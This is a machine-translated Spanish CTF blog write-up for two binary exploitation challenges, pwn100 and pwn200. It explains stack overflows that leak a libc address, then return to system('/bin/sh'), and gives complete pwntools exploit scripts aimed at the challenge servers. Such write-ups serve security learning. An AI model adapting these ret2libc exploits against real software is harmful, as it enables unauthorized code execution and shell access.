Mundo ofensivo y defensivo pwn100 && pwn200

pwn100

Arrastre al análisis ida, principalmente de la siguiente manera:
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
Mi idea básica es usar el desbordamiento de pila, filtrar la dirección de la función de lectura a través de la función de venta, obtener la versión de libc correspondiente a través de la herramienta, regresar a la función principal, realizar un segundo desbordamiento y luego atacar

Primer desbordamiento:

Dado que el programa es un programa de 64 bits, y los primeros siete parámetros del programa de 64 bits se colocan en el registro, el primer parámetro se coloca en el registro rdi, por lo que primero debemos encontrar los gadgets correspondientes.

Inserte la descripción de la imagen aquí
Esto es lo que vamos a usar
Luego, pasa la dirección obtenida de read, llama a la función put y regresa a la función principal.

Segundo desbordamiento:

Después de obtener la dirección de la función de lectura, obtenga la versión de libc correspondiente a través de la herramienta correspondiente, como LibcSearcher. No usé LibcSearcher aquí, lo encontré en el sitio web después de generar la dirección: https://libc.blukat.me/
Calcule la dirección base, system_addr y bin_sh_addr, y realice el segundo desbordamiento

exp es el siguiente:

from pwn import *

sh=remote("124.126.19.106",40355)
elf=ELF('./pwn100')

put_addr=elf.plt['puts']
read_got=elf.got['read']
main_addr=0x4006b8
poprdi=0x400763

payload1='a'*0x48+p64(poprdi)+p64(read_got)+p64(put_addr)+p64(main_addr)+'a'*(200-0x48-32)
#此处实现的效果就是:
#push read_got
#pop rdi
#call puts
#call main
#最后一部分是因为
sh.send(payload1)
sh.recvuntil("bye~\n")
read_addr=u64(sh.recv().split('\n')[0].ljust(8,'\x00'))
print hex(read_addr)

base=read_addr-0x0f7250
system_addr=base+0x045390
binsh_addr=base+0x18cd57
#read_offset=0x0f7250
#system_offset=0x045390
#bin_offset=0x18cd57

payload2='a'*0x48+p64(poprdi)+p64(binsh_addr)+p64(system_addr)+'a'*(200-0x48-24)
sh.sendline(payload2)
sh.interactive()

pwn200

Arrastrar a ida:
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
la idea básica es filtrar la dirección de la función de escritura a través de la función de escritura, luego encontrar la versión de libc correspondiente, regresar a la función principal y realizar un segundo desbordamiento

Primer desbordamiento:

La función de escritura aquí requiere tres parámetros

Por lo tanto, agregamos la dirección plt de escritura, la dirección plt principal, el primer parámetro de escritura (1), el segundo parámetro (dirección obtenida de escritura) y el tercer parámetro de escritura (longitud de salida) en la carga útil a su vez.

Segundo desbordamiento:

Igual que el anterior, busque la libc correspondiente, calcule la dirección base, la dirección del sistema y la dirección bin_sh para atacar

exp es el siguiente:

from pwn import *
#context.log_level='debug'
sh=remote("124.126.19.106",59657)
elf=ELF('./pwn200')

write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=0x080484be

payload='a'*(0x6c+0x4)
payload+=p32(write_plt)
payload+=p32(main_addr)
payload+=p32(1)
payload+=p32(write_got)
payload+=p32(4)
#这里设为输出四个字节

sh.sendlineafter("\n",payload)
write_addr=u32(sh.recv(4))
#接收四个字节
print hex(write_addr)

#libc=LibcSearcher('write',write_addr)
base=write_addr-0x0d43c0
system_addr=base+0x03a940
bin_addr=base+0x15902b

payload='a'*(0x6c+0x4)
payload+=p32(system_addr)
payload+='a'*0x4
payload+=p32(bin_addr)
sh.sendline(payload)
sh.interactive()

Supongo que te gusta

Origin blog.csdn.net/weixin_45677731/article/details/106186830
Recomendado
Clasificación